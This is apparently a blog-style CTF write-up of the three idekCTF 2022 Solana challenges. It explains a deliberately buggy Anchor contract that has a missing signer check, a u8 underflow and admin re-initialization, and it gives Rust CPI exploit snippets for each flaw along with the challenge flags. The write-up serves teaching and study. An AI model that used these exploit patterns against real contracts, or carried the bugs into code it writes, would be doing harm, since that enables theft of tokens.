Contents

idekCTF 2022 Solana Challenges Write-up

Note
Use the table of contents on the right to navigate to the section that you are interested in.

Preface

This is a write-up for a CTF that took place several months ago. I was able to solve these challenges quickly during the CTF, so I did not feel the need to write a write-up for them at the time. However, as I have been revisiting Solana vulnerabilities, I believe these challenges are still worth documenting. In addition, this write-up serves to build upon my previous post on Solana Smart Contract exploitation.

idekCTF 2022 - Blockchain 1, 2 & 3

Given files

There are three challenges in this CTF, all of which implement the same smart contract. The only difference between them is that the first challenge has multiple bugs, while the later ones have one bug fixed at a time. All of them are written using the Anchor Framework, and the file structure is exactly the same as the Simple Staking challenge in my previous post. Some of the important files are:

  • framework/chall/program/chall/src/lib.rs: the implementation of the target contract.
  • framework/chall/src/main.rs: the implementation of the initializations on the server using Solana CTF Framework.
  • framework-solve/solve/program/solve/src/lib.rs and framework-solve/solve/src/main.rs: the implementaion of our exploit contract and the its invocation.

The target contract functionalities

The smart contract is straightforward and has the purpose of allowing users to withdraw tokens from a reserve account. However, the naming of the instructions can be confusing, as they are named Initialize, Register, Attempt, and Deposit, instead of the expected Withdraw. To explain the functionalities, I will be using the source code of Blockchain 1.

Firstly, the Initialize instruction takes an admin account and sets it as the admin of the global config account. Usually, the Initialize instruction can be ignored, but in this case, there is a subtle bug here, which I will explain in a later section.

pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
    let config = &mut ctx.accounts.config;
    config.admin = ctx.accounts.admin.key();
    Ok(())
}

#[derive(Accounts)]
pub struct Initialize<'info> {
    // ...
    pub admin: Signer<'info>,
    // ...
}

The Register instruction is used to set up a user’s record account, which contains their public key and an amount of tries. Initially, this is set to MAXIMUM_TRIES, which is 3. This value is important for the next instruction.

pub fn register(ctx: Context<Register>) -> Result<()> {
    let record = &mut ctx.accounts.user_record;
    record.user = ctx.accounts.user.key();
    record.tries = MAXIMUM_TRIES;
    msg!("[CHALL] register: user {}, tries {}", record.user, record.tries);
    Ok(())
}

The next instruction Attempt is an unusual one. It is used to withdraw token from the reserve account to the user’s account, but the amount of token that will be withdrawn is the amount of tries. After each withdrawal, this value will be decremented.

pub fn attempt(ctx: Context<Attempt>) -> Result<()> {
    let record = &mut ctx.accounts.record;
    msg!("[CHALL] attempt.tries {}", record.tries);
    if record.tries > 0 {
        // ...
        let withdraw_ctx = CpiContext::new_with_signer(
            ctx.accounts.token_program.to_account_info(),
            Transfer {
                from: ctx.accounts.reserve.to_account_info(),
                to: ctx.accounts.user_account.to_account_info(),
                authority: ctx.accounts.reserve.to_account_info()
            },
            signer
        );
        token::transfer(withdraw_ctx, record.tries as u64)?;
    }
    record.tries -= 1;
    Ok(())
}

Finally, the Deposit instruction is just a normal withdraw instruction (yes, it is withdraw, not deposit, the naming is very weird here), where users can withdraw a desired amount of tokens from the reserve account.

pub fn deposit(ctx: Context<Deposit>, amount: u64) -> Result<()> {
    // ...
    let withdraw_ctx = CpiContext::new_with_signer(
        ctx.accounts.token_program.to_account_info(),
        Transfer {
            from: ctx.accounts.reserve.to_account_info(),
            to: ctx.accounts.user_account.to_account_info(),
            authority: ctx.accounts.reserve.to_account_info()
        },
        signer
    );
    token::transfer(withdraw_ctx, amount)?;
    Ok(())
}

The server program

The server program for these challenges is straightforward. Here are the steps it follows:

  1. Create the following accounts: mint, payer, config, reserve, and user.
  2. Invoke the Initialize instruction with the payer as the admin account.
  3. Mint 1000 tokens to the reserve account.
  4. Create a user’s record account and a user’s token account.
  5. Invoke the Register instruction for the user using the accounts created in the previous step.
  6. Run our exploit contract
  7. Check if the player has more than 200 tokens. If they do, the flag is printed.

It’s clear that the objective is to acquire over 200 tokens, starting from a balance of 0.

The 1st vulnerability: Missing signer authorization

In Blockchain 1, the account list for the Deposit instruction is declared as follows:

#[derive(Accounts)]
pub struct Deposit<'info> {
    // ...
    pub mint: Account<'info, Mint>,

    #[account(mut)]
    pub admin: AccountInfo<'info>,
    
    #[account(mut)]
    pub user:  Signer<'info>,
    pub token_program: Program<'info, Token>,
    pub system_program: Program<'info, System>,
    pub rent: Sysvar<'info, Rent>,
}

Notice how the admin account is declared as AccountInfo, while the user account is declared as Signer. This is a very basic vulnerability here, as the user can simply sign the transaction themselves and withdraw as many tokens as they wish from the reserve account (again, the Deposit instruction means withdraw). One simple invocation is enough to exploit this vulnerability:

let cpi_accounts = chall::cpi::accounts::Deposit {
    config: ctx.accounts.config.to_account_info(),
    reserve: ctx.accounts.reserve.to_account_info(),
    user_account: ctx.accounts.user_account.to_account_info(),
    mint: ctx.accounts.mint.to_account_info(),
    admin: ctx.accounts.admin.to_account_info(),
    user: ctx.accounts.user.to_account_info(),
    token_program: ctx.accounts.token_program.to_account_info(),
    system_program: ctx.accounts.system_program.to_account_info(),
    rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::deposit(cpi_ctx, 1000)?;

The flag for this challenge is idek{b391dba7-4766-4191-9117-55a1202c86d8}

This vulnerability is fixed in Blockchain 2 by changing the admin account to Signer and the user account to AccountInfo.

The 2nd vulnerability: Integer Underflow

You may have already noticed a vulnerability while reading through the contract’s functionalities above. This vulnerability is related to an Integer Underflow bug in the suspicious instruction Attempt. In fact, this was the first vulnerability I discovered when solving these challenges, not the previous one.

pub fn attempt(ctx: Context<Attempt>) -> Result<()> {
    let record = &mut ctx.accounts.record;
    msg!("[CHALL] attempt.tries {}", record.tries);
    if record.tries > 0 {
        // ...
        let withdraw_ctx = CpiContext::new_with_signer(
            ctx.accounts.token_program.to_account_info(),
            Transfer {
                from: ctx.accounts.reserve.to_account_info(),
                to: ctx.accounts.user_account.to_account_info(),
                authority: ctx.accounts.reserve.to_account_info()
            },
            signer
        );
        token::transfer(withdraw_ctx, record.tries as u64)?;
    }
    record.tries -= 1;
    Ok(())
}

If you take a closer look at the code, you’ll notice that record.tries is decremented OUTSIDE of the if statement. This means that even when we have 0 tries, we can still invoke this instruction to decrement it further. Because the tries value is declared as a u8, decrementing it below 0 will cause an integer underflow, resulting in a value of 255. As a consequence, the next Attempt will withdraw 255 tokens from the reserve account. To exploit this vulnerability, we simply need to invoke Attempt 4 times in a row.

let cpi_accounts = chall::cpi::accounts::Attempt {
    reserve: ctx.accounts.reserve.to_account_info(),
    record: ctx.accounts.user_record.to_account_info(),
    user_account: ctx.accounts.user_account.to_account_info(),
    mint: ctx.accounts.mint.to_account_info(),
    user: ctx.accounts.user.to_account_info(),
    token_program: ctx.accounts.token_program.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::attempt(cpi_ctx)?;

// copy & paste 3 more times

The flag for this challenge is idek{9ad7116e-468a-4968-b579-54a9b4964d9e}

This vulnerability is fixed in Blockchain 3 by putting record.tries -= 1; into the if statement.

The 3rd vulnerability: Admin Re-initialization

Remember when I mentioned that the Initialize instruction is not to be ignored in this case? Indeed, as it turns out, the final vulnerability resides there. This instruction is utilized to establish an admin for the global config account. Importantly, the config account has the init_if_needed attribute instead of init, which will NOT trigger an error if the account is already initialized. According to the Anchor documentation, this attribute must be used with care because it is vulnerable to a re-initialization attack. However, there is no mechanism in place to verify the identity of the given admin, or to check if the config account already has an existing admin. As a result, ANY user can execute this instruction and designate themselves as the admin. This is quite a sneaky bug that took me a bit longer to identify.

To exploit this vulnerability, simply set our user to be the admin using Initialize, and then withdraw all the tokens using Deposit:

let cpi_accounts = chall::cpi::accounts::Initialize {
    config: ctx.accounts.config.to_account_info(),
    reserve: ctx.accounts.reserve.to_account_info(),
    mint: ctx.accounts.mint.to_account_info(),
    admin: ctx.accounts.user.to_account_info(),
    token_program: ctx.accounts.token_program.to_account_info(),
    system_program: ctx.accounts.system_program.to_account_info(),
    rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::initialize(cpi_ctx)?;

let cpi_accounts = chall::cpi::accounts::Deposit {
    config: ctx.accounts.config.to_account_info(),
    reserve: ctx.accounts.reserve.to_account_info(),
    user_account: ctx.accounts.user_account.to_account_info(),
    mint: ctx.accounts.mint.to_account_info(),
    admin: ctx.accounts.user.to_account_info(),
    user: ctx.accounts.user.to_account_info(),
    token_program: ctx.accounts.token_program.to_account_info(),
    system_program: ctx.accounts.system_program.to_account_info(),
    rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::deposit(cpi_ctx, 1000)?;

The flag for this challenge is idek{4dc99b34-712e-4c6a-952d-4fd0fbac6f6b}

Appendix

  • All challenge sources and solutions can be found here.